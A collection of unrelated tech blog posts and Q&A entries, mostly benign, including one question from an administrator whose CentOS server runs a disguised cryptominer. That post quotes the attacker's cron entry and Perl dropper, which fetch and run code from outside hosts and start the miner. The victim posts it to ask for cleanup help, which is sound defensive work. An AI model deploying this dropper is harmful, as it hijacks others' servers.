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  • Oredev 2011 Trip Report

    - by arungupta
    Oredev had its seventh annual conference in the city of Malmo, Sweden last week. The name "Oredev" signifies to the part that Malmo is connected with Copenhagen with Oresund bridge. There were about 1000 attendees with several speakers from all over the world. The first two days were hands-on workshops and the next three days were sessions. There were different tracks such as Java, Windows 8, .NET, Smart Phones, Architecture, Collaboration, and Entrepreneurship. And then there was Xtra(ck) which had interesting sessions not directly related to technology. I gave two slide-free talks in the Java track. The first one showed how to build an end-to-end Java EE 6 application using NetBeans and GlassFish. The complete instructions to build the application are explained in detail here. This 3-tier application used Java Persistence API, Enterprsie Java Beans, Servlet, Contexts and Dependency Injection, JavaServer Faces, and Java API for RESTful Services. The source code built during the application can be downloaded here (LINK TBD). The second session, slide-free again, showed how to take a Java EE 6 application into production using GlassFish cluster. It explained: Create a 2-instance GlassFish cluster Front-end with a Web server and a load balancer Demonstrate session replication and fail over Monitor the application using JavaScript The complete instructions for this session are available here. Oredev has an interesting way of collecting attendee feedback. The attendees drop a green, yellow, or red card in a bucket as they walk out of the session. Not everybody votes but most do. Other than the instantaneous feedback provided on twitter, this mechanism provides a more coarse grained feedback loop as well. The first talk had about 67 attendees (with 23 green and 7 yellow) and the second one had 22 (11 green and 11 yellow). The speakers' dinner is a good highlight of the conference. It is arranged in the historic city hall and the mayor welcomed all the speakers. As you can see in the pictures, it is a very royal building with lots of history behind it. Fortunately the dinner was a buffet with a much better variety unlike last year where only black soup and geese were served, which was quite cultural BTW ;-) The sauna in 85F, skinny dipping in 35F ocean and alternating between them at Kallbadhus is always very Swedish. Also spent a short evening at a friend's house socializing with other speaker/attendees, drinking Glogg, and eating Pepperkakor.  The welcome packet at the hotel also included cinnamon rolls, recommended to drink with cold milk, for a little more taste of Swedish culture. Something different at this conference was how artists from Image Think were visually capturing all the keynote speakers using images on whiteboards. Here are the images captured for Alexis Ohanian (Reddit co-founder and now running Hipmunk): Unfortunately I could not spend much time engaging with other speakers or attendees because was busy preparing a new hands-on lab material. But was able to spend some time with Matthew Mccullough, Micahel Tiberg, Magnus Martensson, Mattias Karlsson, Corey Haines, Patrick Kua, Charles Nutter, Tushara, Pradeep, Shmuel, and several other folks. Here are a few pictures captured from the event: And the complete album here: Thank you Matthias, Emily, and Kathy for putting up a great show and giving me an opportunity to speak at Oredev. I hope to be back next year with a more vibrant representation of Java - the language and the ecosystem!

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  • The Evolution of Television and Home Entertainment

    - by Bill Evjen
    This is a group that is focused on entertainment in the aviation industry. I am attending their conference for the first time as it relates to my job at Swank Motion Pictures and what we do for our various markets. I will post my notes here. The Evolution of Television and Home Entertainment by Patrick Cosson, Veebeam TV has been the center of living rooms for sometime. Conversations and culture evolve around the TV. The way we consume this content has dramatically been changing. After TV, we had the MTV revolution of TV. It has created shorter attention spans, it made us more materialistic, narcissistic, and not easily impressed. Then we came to the Internet. The amount of content has expanded. It contains a ton of user-generated content, provides filtering, organization, distribution. We now have a problem. We are in the age of digital excess. We can access whatever we want. In conjunction with this – we are moving. The challenge we have now is curation. The trends  we see: rapid shift from scheduled to on demand consumption. A move to Internet protocols from cable Rapid fragmentation of media a transition from the TV set to a variety of screens Social connections bring mediators and amplifiers. TiVo – the shift to on demand It is because of a time-crunch Provides personal experiences Once old consumption habits are changed, there is no way back! Experiences are that people are loading up content and then bringing it with them on planes, to hotels, etc. Rapid fragmentation of media sources Many new professional content sources and channels, the rise of digital distribution, and the rise of user-generated content contribute to the wealth of content sources and abundant choice. Netflix, BBC iPlayer, hulu, Pandora, iTunes, Amazon Video, Vudu, Voddler, Spotify (these companies didn’t exist 5 years ago). People now expect this kind of consumption. People are now thinking how to deliver all these tools. Transition from the TV set to multi-screens The TV screen has traditionally been the dominant consumption screen for TV and video. Now the PC, game consoles, and various mobile devices are rapidly becoming common video devices. Multi-screens are now the norm. Social connections becoming key mediators What increasingly funnels traffic on the web, social networking enablers, will become an integral part of the discovery, consumption and sharing model for Television. The revolution will be broadcasted on Facebook and Twitter. There is business disruption There are a lot of new entrants Rapid internationalization Increasing competition from existing media players A fragmenting audience base Web browser Freedom to access any site The fight over the walled garden Most devices are not powerful enough to support a full browser PC will always be present in the living room Wireless link between PC and TV Output 1080p, plays anything, secure Key players and their challenges Services Internet media is increasingly interconnected to social media and publicly shared UGC Content delivery moving to IPTV Rights management issues are creating silos and hindering a great user experience and growth Devices Devices are becoming people’s windows into all kinds of media from all kinds of sources There won’t be a consolidation of the device landscape, rather the opposite Finding the right niche makes the most sense. We are moving to an on demand world of streaming world. People want full access to anything.

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  • fail2ban custom action to permanent ban IPs from China

    - by John Magnolia
    When a IP address gets banned how can I check if the banned IP address is from China. If yes, then add it to the permanent ban list. I have found this nice guide which write the banned IP to file. Reason: I am getting a lot of brute force attacks from China daily, thankfully fail2ban is helping restrict this although they appear to be getting worse and they are just changing their IP Address. Or even better would be if there was a maintained database of known hacker IP addresses. Example 1 Hi, The IP 60.169.78.77 has just been banned by Fail2Ban after 4 attempts against vsftpd. Here are more information about 60.169.78.77: % [whois.apnic.net node-7] % Whois data copyright terms http://www.apnic.net/db/dbcopyright.html inetnum: 60.166.0.0 - 60.175.255.255 netname: CHINANET-AH descr: CHINANET anhui province network descr: China Telecom descr: A12,Xin-Jie-Kou-Wai Street descr: Beijing 100088 country: CN admin-c: CH93-AP tech-c: JW89-AP mnt-by: APNIC-HM mnt-routes: MAINT-CHINANET-AH mnt-lower: MAINT-CHINANET-AH status: ALLOCATED PORTABLE changed: [email protected] 20040721 source: APNIC person: Chinanet Hostmaster nic-hdl: CH93-AP e-mail: [email protected] address: No.31 ,jingrong street,beijing address: 100032 phone: +86-10-58501724 fax-no: +86-10-58501724 country: CN changed: [email protected] 20070416 mnt-by: MAINT-CHINANET source: APNIC person: Jinneng Wang address: 17/F, Postal Building No.120 Changjiang address: Middle Road, Hefei, Anhui, China country: CN phone: +86-551-2659073 fax-no: +86-551-2659287 e-mail: [email protected] nic-hdl: JW89-AP mnt-by: MAINT-NEW changed: [email protected] 19990818 source: APNIC Regards, Fail2Ban Example 2 Hi, The IP 60.169.78.81 has just been banned by Fail2Ban after 4 attempts against vsftpd. Here are more information about 60.169.78.81: % [whois.apnic.net node-6] % Whois data copyright terms http://www.apnic.net/db/dbcopyright.html inetnum: 60.166.0.0 - 60.175.255.255 netname: CHINANET-AH descr: CHINANET anhui province network descr: China Telecom descr: A12,Xin-Jie-Kou-Wai Street descr: Beijing 100088 country: CN admin-c: CH93-AP tech-c: JW89-AP mnt-by: APNIC-HM mnt-routes: MAINT-CHINANET-AH mnt-lower: MAINT-CHINANET-AH status: ALLOCATED PORTABLE changed: [email protected] 20040721 source: APNIC person: Chinanet Hostmaster nic-hdl: CH93-AP e-mail: [email protected] address: No.31 ,jingrong street,beijing address: 100032 phone: +86-10-58501724 fax-no: +86-10-58501724 country: CN changed: [email protected] 20070416 mnt-by: MAINT-CHINANET source: APNIC person: Jinneng Wang address: 17/F, Postal Building No.120 Changjiang address: Middle Road, Hefei, Anhui, China country: CN phone: +86-551-2659073 fax-no: +86-551-2659287 e-mail: [email protected] nic-hdl: JW89-AP mnt-by: MAINT-NEW changed: [email protected] 19990818 source: APNIC Regards, Fail2Ban Example 3 Hi, The IP 222.133.244.99 has just been banned by Fail2Ban after 4 attempts against vsftpd. Here are more information about 222.133.244.99: % [whois.apnic.net node-6] % Whois data copyright terms http://www.apnic.net/db/dbcopyright.html inetnum: 222.133.244.96 - 222.133.244.127 netname: LCZFFHQ country: CN descr: liaochenggovermentfanghuoqiang admin-c: DS95-AP tech-c: DS95-AP status: ASSIGNED NON-PORTABLE changed: [email protected] 20060122 mnt-by: MAINT-CNCGROUP-SD source: APNIC route: 222.132.0.0/14 descr: CNC Group CHINA169 Shandong Province Network country: CN origin: AS4837 mnt-by: MAINT-CNCGROUP-RR changed: [email protected] 20060118 source: APNIC person: Data Communication Bureau Shandong nic-hdl: DS95-AP e-mail: [email protected] address: No.77 Jingsan Road,Jinan,Shandong,P.R.China phone: +86-531-6052611 fax-no: +86-531-6052414 country: CN changed: [email protected] 20050330 mnt-by: MAINT-CNCGROUP-SD source: APNIC Regards, Fail2Ban

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  • Bizarre and very specific Internet connection loss

    - by Synetech
    Yesterday (Friday, September 21, 2012), my Internet connection started acting up. After some testing, I confirmed a very specific and baffling set of symptoms: Internet connection goes away every 25-35 minutes (I did not confirm the exact interval, but it seems to be about 30 mins.) Only some protocols are affected; HTTP*, P2P, etc. stop working; FTP, etc. continue to work When it’s stopped, cannot even ping router or cable-modem IPs or view their firmware pages Domain-names and IPs are irrelevant (for protocols that stop working, neither work, for those that still work, both work) Resetting router fixes it for another 30 minutes Keeping the connection idle or active doesn’t seem to make a difference (nor the bandwidth usage in that period) Connecting directly to cable-modem allows it to work indefinitely Disconnecting the router from the cable-modem works indefinitely (no Internet connection obviously, but can still access router IP and firmware page) Connecting the router to the cable-modem, but putting the modem on standby also works indefinitely Same problem with both a wireless laptop and wired (on any port) desktop (both Windows 7; will try to test Windows XP when possible) Nothing had changed in the days leading up to the issue. No modifications to the networking configuration or the router; there were not even any Windows updates except for an MSSE definition update. Waiting does not fix it, nor does any amount of fiddling with anything; only resetting the router fixes it for 30 minutes (resetting the cable-modem doesn't work either) I tried cleaning the pins in the router’s plugs, but that didn’t help, which was not really a surprise since I was not getting a lost connection error. Obviously my first thought was that the router was having a problem, and this is borne out by some tests. The problem is that when it drops, it is not a full drop since I can still do things like ftp ftp.mcafee.com and such which means that the connection and DNS are still working. Moreover, if it were the router, then why does it stay alive indefinitely when not connected to the cable-modem (i.e., no outside influence)? The problem doesn't seem to be either the cable-modem nor the router, but rather an interaction between the two, like something from the outside (port scan? hacker? ISP?) that is triggering a problem in the router. I see that there have been a couple of vulnerabilities for the DI-524, but those were a while back and should be fixed since I have the last firmware for it. I don’t think it’s my ISP (Rogers) since I have been using the router for several years without problem and can connect indefinitely when bypassing it. But I can’t rule them out since that is one of the only possible things that could have suddenly changed. Does anybody have any ideas of explanations, fixed, or tests? (I note that when I opened the router, I heard a very high-pitched noise from somewhere near the capacitors/ferrite ring which I don’t think I heard the last time I opened it a few years ago, but then if it were that, then why would it affect only a very small, specific set of functions?)

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  • A view from the call center for the Nashville Flood telethon

    - by Rob Foster
    I want to break away from my usual topic of something technical and talk about what I experienced tonight while working in the call center for the Nashville Flood telethon, which was broadcast on WSMV, CNN, and The Weather Channel.  We started receiving calls about 7pm local time and to be honest, I had no idea what to expect when going into this.  I mean, I'm a pretty good talker, but this is different...We had a good script of what to say and how we were supposed to say it, as well as paper forms and pens that we used to collect information from people who wanted to donate their money to help.  I took my first few calls pretty easily and it went pretty quick and easy.  Everyone was upbeat and happy to be in the call center as well as people happy to be donating money. Pizza, snacks, and soft drinks were flowing well.  Everyone is smiling and happy.  :) About 3 or 4 calls into my night, I got a call from a lady that had lost 2 family members in West Nashville who drowned in the floods.  She was crying when she called and I of course tried to console her.  She told me how bad her situation was, losing family members and much of her neighborhood.  After all this, she still just wanted to help other people.  She was donating all the money that she could to the telethon and I want to share a direct quote from her: "I want to donate this instead of buying flowers for my family members' funeral because people out there need help.". Please let me pause while I get myself together <again>.  That caught me so off guard (and still does). I had kids calling wanting to donate their allowance, open their piggy banks, whatever they could do.  These are kids.  Kids not much older than my boys.  Kids who should be focused on buying the next cool video game or toy or whatever but wanted to do something.  Everyone just seemed to want to help. I took calls from as far away as British Columbia as well and pretty much coast to coast.  how cool is that? Yet another thing that caught me off guard.  This kind lady that called from British Columbia told me how much she loved visiting Nashville and just hated to see this happen.  I belive that she said that she will be attending the CMA Fest this year too.  I was sure to tell her not to cancel her plans!  :) It felt like every call I took (and I took A LOT, as did everyone else) was very personal and heartfelt.  I've never had the privelage to do anything like this and fell lucky to have been able to help out with answering phones and logging donations.  Nashville will bounce back very quickly, people are out there day and night helping each other, and the spirits are very high here.  I hope that one day, my kids read this blog and better understand who they are, where they come from, and what the human spirt is and can be.  I love this city, I love the people here, I love the culture and even more than ever am proud to say that this is me.  This is us.  We are Nashville!

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  • Social Technology and the Potential for Organic Business Networks

    - by Michael Snow
    Guest Blog Post by:  Michael Fauscette, IDCThere has been a lot of discussion around the topic of social business, or social enterprise, over the last few years. The concept of applying emerging technologies from the social Web, combined with changes in processes and culture, has the potential to provide benefits across the enterprise over a wide range of operations impacting employees, customers, partners and suppliers. Companies are using social tools to build out enterprise social networks that provide, among other things, a people-centric collaborative and knowledge sharing work environment which over time can breakdown organizational silos. On the outside of the business, social technology is adding new ways to support customers, market to prospects and customers, and even support the sales process. We’re also seeing new ways of connecting partners to the business that increases collaboration and innovation. All of the new "connectivity" is, I think, leading businesses to a business model built around the concept of the network or ecosystem instead of the old "stand-by-yourself" approach. So, if you think about businesses as networks in the context of all of the other technical and cultural change factors that we're seeing in the new information economy, you can start to see that there’s a lot of potential for co-innovation and collaboration that was very difficult to arrange before. This networked business model, or what I've started to call “organic business networks,” is the business model of the information economy.The word “organic” could be confusing, but when I use it in this context, I’m thinking it has similar traits to organic computing. Organic computing is a computing system that is self-optimizing, self-healing, self-configuring, and self-protecting. More broadly, organic models are generally patterns and methods found in living systems used as a metaphor for non-living systems.Applying an organic model, organic business networks are networks that represent the interconnectedness of the emerging information business environment. Organic business networks connect people, data/information, content, and IT systems in a flexible, self-optimizing, self-healing, self-configuring, and self-protecting system. People are the primary nodes of the network, but the other nodes — data, content, and applications/systems — are no less important.A business built around the organic business network business model would incorporate the characteristics of a social business, but go beyond the basics—i.e., use social business as the operational paradigm, but also use organic business networks as the mode of operating the business. The two concepts complement each other: social business is the “what,” and the organic business network is the “how.”An organic business network lets the business work go outside of traditional organizational boundaries and become the continuously adapting implementation of an optimized business strategy. Value creation can move to the optimal point in the network, depending on strategic influencers such as the economy, market dynamics, customer behavior, prospect behavior, partner behavior and needs, supply-chain dynamics, predictive business outcomes, etc.An organic business network driven company is the antithesis of a hierarchical, rigid, reactive, process-constrained, and siloed organization. Instead, the business can adapt to changing conditions, leverage assets effectively, and thrive in a hyper-connected, global competitive, information-driven environment.To hear more on this topic – I’ll be presenting in the next webcast of the Oracle Social Business Thought Leader Webcast Series - “Organic Business Networks: Doing Business in a Hyper-Connected World” this coming Thursday, June 21, 2012, 10:00 AM PDT – Register here

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  • Growing Talent

    The subtitle of Daniel Coyles intriguing book The Talent Code is Greatness Isnt Born. Its Grown. Heres How. The Talent Code proceeds to layout a theory of how expertise can be cultivated through specific practices that encourage the growth of myelin in the brain. Myelin is a material that is produced and wraps around heavily used circuits in the brain, making them more efficient. Coyle uses an analogy that geeks will appreciate. When a circuit in the brain is used a lot (i.e. a specific action is repeated), the myelin insulates that circuit, increasing its bandwidth from telephone over copper to high speed broadband. This leads to the funny phenomenon of effortless expertise. Although highly skilled, the best players make it look easy. Coyle provides some biological backing for the long held theory that it takes 10,000 hours of practice to achieve mastery over a given subject. 10,000 hours or 10 years, as in, Teach Yourself Programming in Ten Years and others. However, it is not just that more hours equals more mastery. The other factors that Coyle identifies includes deep practice, practice which crucially involves drills that are challenging without being impossible. Another way to put it is that every day you spend doing only tasks you find monotonous and automatic, you are literally stagnating your brains development! Perhaps Coyles subtitle, needs one more phrase, Greatness Isnt Born. Its Grown. Heres How. And oh yeah, its not easy. Challenging yourself, continuing to persist in the face of repeated failures, practicing every day is not easy. As consultants, we sell our expertise, so it makes sense that we plan projects so that people can play to their strengths. At the same time, an important part of our culture is constant improvement, challenging yourself to be better. And the balancing contest ensues. I just finished working on a proof of concept (POC) we did for a project we are bidding on. Completely time boxed, so our team naturally split responsibilities amongst ourselves according to who was better at what. I must have been pretty bad at the other components, as I found myself working on the user interface, not my usual strength. The POC had a website frontend, and one thing I do know is HTML. After starting out in pure ASP.NET WebForms, I got frustrated as time was ticking, I knew what I wanted in HTML, but I couldnt coax the right output out of the ASP.NET controls. I needed two or three elements on the screen that were identical in layout, with different content. With a backup plan in  of writing the HTML into the response by hand, I decided to challenge myself a bit and see what I could do in an hour or two using the Microsoft submitted jQuery micro-templating JavaScript library. This risk paid off. I was able to quickly get the user interface up and running, responsive to the JSON data we were working with. I felt energized by the double win of getting the POC ready and learning something new. Opportunities  specifically like this POC dont come around often, but the takeaway is that while it wont be easy, there are ways to generate your own opportunities to grow towards greatness.Did you know that DotNetSlackers also publishes .net articles written by top known .net Authors? We already have over 80 articles in several categories including Silverlight. Take a look: here.

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  • Removing Barriers to Create Effective Data Models

    After years of creating and maintaining data models, I have started to notice common barriers that decrease the accuracy and usefulness of models. In my opinion, the main causes of these barriers are the lack of knowledge and communication from within a company. The lack of knowledge in regards to data models or data modeling can take many forms. Company Culture Knowledge Whether documented or undocumented, existing business rules of a company can affect how data is modeled. For example, if a company only allows 1 assigned person per customer to be able to manipulate a customer’s record then then a data model that includes an associated table that joins customers and employee’s would be unneeded because that would allow for the possibility of multiple employees to handle a customer because of the potential for a many to many relationship between Customers and Employees. Technical Knowledge Depending on the data modeler’s proficiency in modeling data they can inadvertently cause issues and/or complications with a design without even noticing. It is important that companies share data modeling responsibilities so that the models are developed from multiple perspectives of a system, company and the original problem.  In addition, the tools that a company selects to create data models can also affect the accuracy of the model if designer are not familiar with the tools or the tools are too complex to use for the designer. Existing System Knowledge In order for a data modeler to model data for an existing system so that new changes can be applied to a system then they need to at least know the basic concepts of a system so that they can work within it. This will promote reusability of data and prevent the chance of duplicating data. Project Knowledge This should be pretty obvious, but it is very hard to create an accurate data model without knowing what data needs to be modeled. I have always found it strange that I have been asked to start modeling data prior to a client formalizing any requirements. Usually when this happens I have to make several iterations to a model, and the client still does not know exactly what they want.  In addition additional issues can arise when certain stakeholders of a project are not consulted prior to the design or after the project is over because it can cause miss understandings and confusion by the end user as well as possibly not solving the original problem for which a project is intended to solve. One common thread between each type of knowledge is that they can all be avoided through the use of good communication. For example, if a modeler is new to a company then they should ask older employees about any business specific rules that may be documented or undocumented that must be applied to projects in general. Furthermore, if a modeler is not really familiar with a specific data modeling software then they need to speak up and ask for help form other employees or their manager. This will not only help the modeler in the project, but also help them in future projects that they do for the company. Additionally, if a project is not clearly defined prior to a data modeler being assigned the modeling project then it is their responsibility to communicate with the other stakeholders to clarify any part of a project that is unclear so that the data model that is created is accurately aligned with a project.

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  • ./kernelupdates 100% cpu usage

    - by Vaibhav Panmand
    I have a CENTOS6 server running with some wordpress & tomcat websites. In the last two days it has been crashing continuously. After investigation we found that kernelupdates binary consuming 100% cpu on server. Process is mentioned below. ./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.9 -p passxxx But this process seems invalid kernel update. Might be server is compromised and this process is installed by hacker, So I've killed this process & removed apache user's cron entries. But somehow this process started again after couple of hours & cron entries also restored, I am searching for the thing which is modifying cron jobs. Does this process belong to a mining process? How can we stop cronjob modification and clean the source of this process? Cron entry (apache user) /6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc* abc.txt #!/usr/bin/perl system("killall -9 minerd"); system("killall -9 PWNEDa"); system("killall -9 PWNEDb"); system("killall -9 PWNEDc"); system("killall -9 PWNEDd"); system("killall -9 PWNEDe"); system("killall -9 PWNEDg"); system("killall -9 PWNEDm"); system("killall -9 minerd64"); system("killall -9 minerd32"); system("killall -9 named"); $rn=1; $ar=`uname -m`; while($rn==1 || $rn==0) { $rn=int(rand(11)); } $exists=`ls /tmp/.ice-unix`; $cratch=`ps aux | grep -v grep | grep kernelupdates`; if($cratch=~/kernelupdates/gi) { die; } if($exists!~/minerd/gi && $exists!~/kernelupdates/gi) { $wig=`wget --version | grep GNU`; if(length($wig>6)) { if($ar=~/64/g) { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } else { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } } else { if($ar=~/64/g) { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } else { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } } } @prts=('8332','9091','1121','7332','6332','1332','9333','2961','8382','8332','9091','1121','7332','6332','1332','9333','2961','8382'); $prt=0; while(length($prt)<4) { $prt=$prts[int(rand(19))-1]; } print "setup for $rn:$prt done :-)\n"; system("cd /tmp/.ice-unix;./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.".$rn." -p passxxx &"); print "done!\n"; Thanks in advance!

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  • Attending a Career Fair: &ldquo;Don&rsquo;t be shy &ndash; Be prepared&rdquo;

    - by jessica.ebbelaar
    There are a large number of ways to interact with companies nowadays. The career fair is a very effective and personal way to interact with a number of different companies in a very short period of time. Here are some simple tips to help you perform during a career fair. Do research The key to being successful at a career fair is to do research before you go. Make a first selection of the companies you feel could be interesting for you. Include many types of employers. Once you have decided on the list of companies you want to visit, go to their career portal. Inform yourself about what the company does, i.e what roles there are available, how the company culture is described, what impression the testimonials give you. The question that you still have after reviewing this information, are the ones you can discuss with the company on the fair. Sell yourself Visit the companies you have on your top 5 list first, so you will be at your highest energy level to make that first impression. Think in advance about what you are going to tell the recruiter. Prepare a 30-second introduction (including degree, strengths, skills & experience) Be confident when you talk about your experience. Remember to start the conversation with a smile, make good eye contact and give a firm handshake. You could be speaking to your next manager, so be professional! If you already know what jobs you are interested in, relate your skills and experience to the roles that the company has available. If you are not yet sure gather as much information as you can about employment and/or hiring procedures, specific skills necessary for different jobs, training and career paths. Stand out As career fairs are very crowded and the attending companies meet with a lot of potential candidates on one day, you have to make sure you are noticed in a positive way. A good preparation and asking questions that show you have a good understanding of the industry, organization and roles will help you. Be aware of time demands on employers. Do not monopolize an employer's time. Dress appropriately to make a good first impression. Bring your resume Do not forget to bring your resume in print or on a USB-stick to the fair. If you are searching for different types of jobs, bring different versions of your resume. Your resume should be short and professional on white paper that is free of graphics or fancy print styles and containing larger margins for interviewer notes. Follow up After each conversation ask who you can contact for follow-up discussions about the specific roles. Use the back of a business card to record notes that help you remember important details and follow-up instructions. If no card is available, record the contact information and your comments in your notepad or phone. Last but not least, thank everyone you talk to for their time. Follow up as soon as possible with thank you notes that address the companies’ hiring needs, your qualifications, and express your desire for a second interview. What not to do… Do not visit a company with a group of friends. Interact with the companies on your own, to make your own positive impression. Do not walk up to a recruiter and interrupt a current conversation; wait your turn and be polite. What you should absolutely avoid is a grab and run on freebies! Take the time to speak to the company and ask for a freebie at the end of the conversation in case they are not offered to you. Good luck with the preparations for the career fair you will attend. Oracle recruiters look forward to meet you! They will be present on a large number of fairs in the region. For an overview of the fairs go to the Events & Calendar page on http://campus.oracle.com If you have any questions related to this article feel free to contact [email protected].

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  • iptables - quick safety eval & limit max conns over time

    - by Peter Hanneman
    Working on locking down a *nix server box with some fancy iptable(v1.4.4) rules. I'm approaching the matter with a "paranoid, everyone's out to get me" style, not necessarily because I expect the box to be a hacker magnet but rather just for the sake of learning iptables and *nix security more throughly. Everything is well commented - so if anyone sees something I missed please let me know! The *nat table's "--to-ports" point to the only ports with actively listening services. (aside from pings) Layer 2 apps listen exclusively on chmod'ed sockets bridged by one of the layer 1 daemons. Layers 3+ inherit from layer 2 in a similar fashion. The two lines giving me grief are commented out at the very bottom of the *filter rules. The first line runs fine but it's all or nothing. :) Many thanks, Peter H. *nat #Flush previous rules, chains and counters for the 'nat' table -F -X -Z #Redirect traffic to alternate internal ports -I PREROUTING --src 0/0 -p tcp --dport 80 -j REDIRECT --to-ports 8080 -I PREROUTING --src 0/0 -p tcp --dport 443 -j REDIRECT --to-ports 8443 -I PREROUTING --src 0/0 -p udp --dport 53 -j REDIRECT --to-ports 8053 -I PREROUTING --src 0/0 -p tcp --dport 9022 -j REDIRECT --to-ports 8022 COMMIT *filter #Flush previous settings, chains and counters for the 'filter' table -F -X -Z #Set default behavior for all connections and protocols -P INPUT DROP -P OUTPUT DROP -A FORWARD -j DROP #Only accept loopback traffic originating from the local NIC -A INPUT -i lo -j ACCEPT -A INPUT ! -i lo -d 127.0.0.0/8 -j DROP #Accept all outgoing non-fragmented traffic having a valid state -A OUTPUT ! -f -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT #Drop fragmented incoming packets (Not always malicious - acceptable for use now) -A INPUT -f -j DROP #Allow ping requests rate limited to one per second (burst ensures reliable results for high latency connections) -A INPUT -p icmp --icmp-type 8 -m limit --limit 1/sec --limit-burst 2 -j ACCEPT #Declaration of custom chains -N INSPECT_TCP_FLAGS -N INSPECT_STATE -N INSPECT #Drop incoming tcp connections with invalid tcp-flags -A INSPECT_TCP_FLAGS -p tcp --tcp-flags ALL ALL -j DROP -A INSPECT_TCP_FLAGS -p tcp --tcp-flags ALL NONE -j DROP -A INSPECT_TCP_FLAGS -p tcp --tcp-flags ACK,FIN FIN -j DROP -A INSPECT_TCP_FLAGS -p tcp --tcp-flags ACK,PSH PSH -j DROP -A INSPECT_TCP_FLAGS -p tcp --tcp-flags ACK,URG URG -j DROP -A INSPECT_TCP_FLAGS -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP -A INSPECT_TCP_FLAGS -p tcp --tcp-flags ALL FIN,PSH,URG -j DROP -A INSPECT_TCP_FLAGS -p tcp --tcp-flags FIN,RST FIN,RST -j DROP -A INSPECT_TCP_FLAGS -p tcp --tcp-flags SYN,RST SYN,RST -j DROP -A INSPECT_TCP_FLAGS -p tcp --tcp-flags ALL SYN,FIN,PSH,URG -j DROP -A INSPECT_TCP_FLAGS -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP #Accept incoming traffic having either an established or related state -A INSPECT_STATE -m state --state ESTABLISHED,RELATED -j ACCEPT #Drop new incoming tcp connections if they aren't SYN packets -A INSPECT_STATE -m state --state NEW -p tcp ! --syn -j DROP #Drop incoming traffic with invalid states -A INSPECT_STATE -m state --state INVALID -j DROP #INSPECT chain definition -A INSPECT -p tcp -j INSPECT_TCP_FLAGS -A INSPECT -j INSPECT_STATE #Route incoming traffic through the INSPECT chain -A INPUT -j INSPECT #Accept redirected HTTP traffic via HA reverse proxy -A INPUT -p tcp --dport 8080 -j ACCEPT #Accept redirected HTTPS traffic via STUNNEL SSH gateway (As well as tunneled HTTPS traffic destine for other services) -A INPUT -p tcp --dport 8443 -j ACCEPT #Accept redirected DNS traffic for NSD authoritative nameserver -A INPUT -p udp --dport 8053 -j ACCEPT #Accept redirected SSH traffic for OpenSSH server #Temp solution: -A INPUT -p tcp --dport 8022 -j ACCEPT #Ideal solution: #Limit new ssh connections to max 10 per 10 minutes while allowing an "unlimited" (or better reasonably limited?) number of established connections. #-A INPUT -p tcp --dport 8022 --state NEW,ESTABLISHED -m recent --set -j ACCEPT #-A INPUT -p tcp --dport 8022 --state NEW -m recent --update --seconds 600 --hitcount 11 -j DROP COMMIT *mangle #Flush previous rules, chains and counters in the 'mangle' table -F -X -Z COMMIT

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  • Where Twitter Stands Heading Into 2013

    - by Mike Stiles
    As Twitter continued throughout 2012 to be a stage on which global politics and culture played itself out, the company itself underwent some adjustments that give us a good indication of what users and brands can expect from the platform in 2013. The power of the network did anything but fade. Celebrities continued to use it to connect one-on-one. Even the Pope signed on this year. It continued to fuel revolutions. It played an exponentially large factor in this US Presidential election. And around the world, the freedom to speak was challenged as users were fired, sued, sometimes even jailed for their tweets. Expect more of the same in 2013, as Twitter has entrenched itself, for individuals, causes and brands, as the fastest, easiest, most efficient way to message the masses so some measure of impact can come from it. It’s changed everything, and it’s not finished. These fun facts reveal the position of strength with which Twitter enters 2013: It now generates a billion tweets every 2.5 days It has 500 million+ users The average Twitter user has tweeted 307 times 32% of everyone using the Internet uses Twitter It’s expected to bring in $540 million in ad revenue by 2014 11 new accounts are created every second High-level Executive Summary: people love it, people use it, and they’re going to keep loving and using it. Whether or not outside developers love it is a different matter. 2012 marked a shift from welcoming the third party support that played at least some role in Twitter being so warmly embraced, to discouraging anything that replicates what Twitter can do itself…or plans to do itself. It’s not the open playground it once was. Now Twitter must spend 2013 proving it can innovate in-house and keep us just as entranced. Likewise, Twitter is distancing itself from Facebook. Images from the #1 platform’s Instagram don’t work on Twitter anymore, and Twitter’s rolling out their own photo filter product. Where the two have lived in a “plenty of room for everybody” symbiosis up to now, 2013 could see the giants ramping up a full-on rivalry. Twitter is exhibiting a deliberate strategy. Updates have centered on more visually appealing search results, and making finding and sharing content easier. Deals have been cut with some media entities so their content stands out. CEO Dick Costolo has said tweets aren’t the attraction, they’re what leads you to content. Twitter aims to be a key distributor of media and info. Add the addition of former News Corp. President Peter Chernin to the board, and their hashtag landing page experience for events, and their media behemoth ambitions get pretty clear. There are challenges ahead and Costolo has also laid those out; entry into China, figuring out how to have Twitter deliver both comprehensive and relevant, targeted experiences, and the visualization of big data. What does this mean for corporations? They can expect a more media-rich evolution and growing emphases on imagery. They can expect more opportunities to create great media content and leverage Twitter for its distribution. And they can expect new ways to surface in searches. Are brands diving in? 56% of customer tweets to companies get completely and totally ignored. Ugh. A study Twitter recently conducted with Compete shows people who see tweets from retailers are more likely to buy a product. And, the more retailer tweets they see, the more likely they are to purchase on the retail site. As more of those tweets point to engaging media content from the brand, the results should get even better. Twitter appears ready for 2013. Enterprise brands have some work to do. @mikestilesPhoto Stuart Miles, freedigitalphotos.net

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  • Head in the Clouds

    - by Tony Davis
